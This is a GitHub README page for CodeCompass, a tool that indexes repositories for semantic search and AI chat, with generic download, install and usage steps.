Skip to content

๐Ÿงญ Transform your GitHub repo into an interactive knowledge base, enabling focused conversations and insights from your project's files.

Notifications You must be signed in to change notification settings

MihirKosambia/CodeCompass

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

6 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿงญ CodeCompass - Turn GitHub Repos into Interactive Knowledge

๐Ÿ“ฅ Download Now

Download CodeCompass

๐Ÿ“– About CodeCompass

CodeCompass transforms any GitHub repo into an interactive, searchable knowledge base. With it, you can explore code, documentation, and chat with an AI that uses the actual repo content to provide answers.

๐Ÿš€ Getting Started

To get started with CodeCompass, follow these steps:

  1. Download CodeCompass

  2. Install the Software

    • Locate the downloaded file on your computer.
    • Double-click the file and follow the prompts to complete the installation.
  3. Open CodeCompass

    • After installation, find CodeCompass in your applications folder or on your desktop.
    • Double-click to launch the application.

๐Ÿ› ๏ธ System Requirements

For the best experience, please ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS Catalina or later, or a compatible Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Storage: A minimum of 500 MB of free disk space.
  • Internet Connection: Required for initial setup and interacting with GitHub repositories.

๐Ÿ—บ๏ธ Features

CodeCompass includes several key features designed to enhance your experience:

  • Interactive Search: Quickly find code snippets, documentation, and more.
  • Chat with an AI: Ask questions and get answers that reference the original codebase.
  • Local Indexing: Index GitHub repositories on your machine for fast searches.
  • User-Friendly Interface: Designed for easy navigation and a smooth experience.

๐Ÿ’ก Using CodeCompass

After launching CodeCompass, you can start using the application by following these instructions:

  1. Add a GitHub Repository

    • Click on the "Add Repository" button.
    • Enter the URL of the GitHub repository you wish to explore.
    • Click "Index Now" to start indexing the repository locally.
  2. Search for Information

    • Use the search bar at the top of the window.
    • Type in keywords or phrases to find relevant files or documentation.
    • Review the search results and click on any item to view more details.
  3. Chat with the AI

    • Open the chat window located in the lower right corner.
    • Ask the AI questions related to the indexed repository.
    • Receive answers backed by actual content from the repository.

๐Ÿ“š Documentation

For a deeper dive into CodeCompass and its capabilities, check out our documentation:

โš™๏ธ Customization Options

You can tailor CodeCompass to fit your needs:

  • Theme Selection: Choose between light and dark themes for comfortable viewing.
  • Search Filters: Apply filters to refine your search results by file type or repository.

๐Ÿ”ง Support

If you encounter any issues or have questions, visit our support section:

๐Ÿท๏ธ Tags

CodeCompass is relevant to categories such as: chatbot, chromadb, code-search, documentation-search, embedchain, flask, github, groq, llm, rag, react, semantic-search, sentence-transformers, tailwindcss, vite.

๐Ÿ”— Important Links

Now you are ready to use CodeCompass to explore and interact with your favorite GitHub repositories. Enjoy!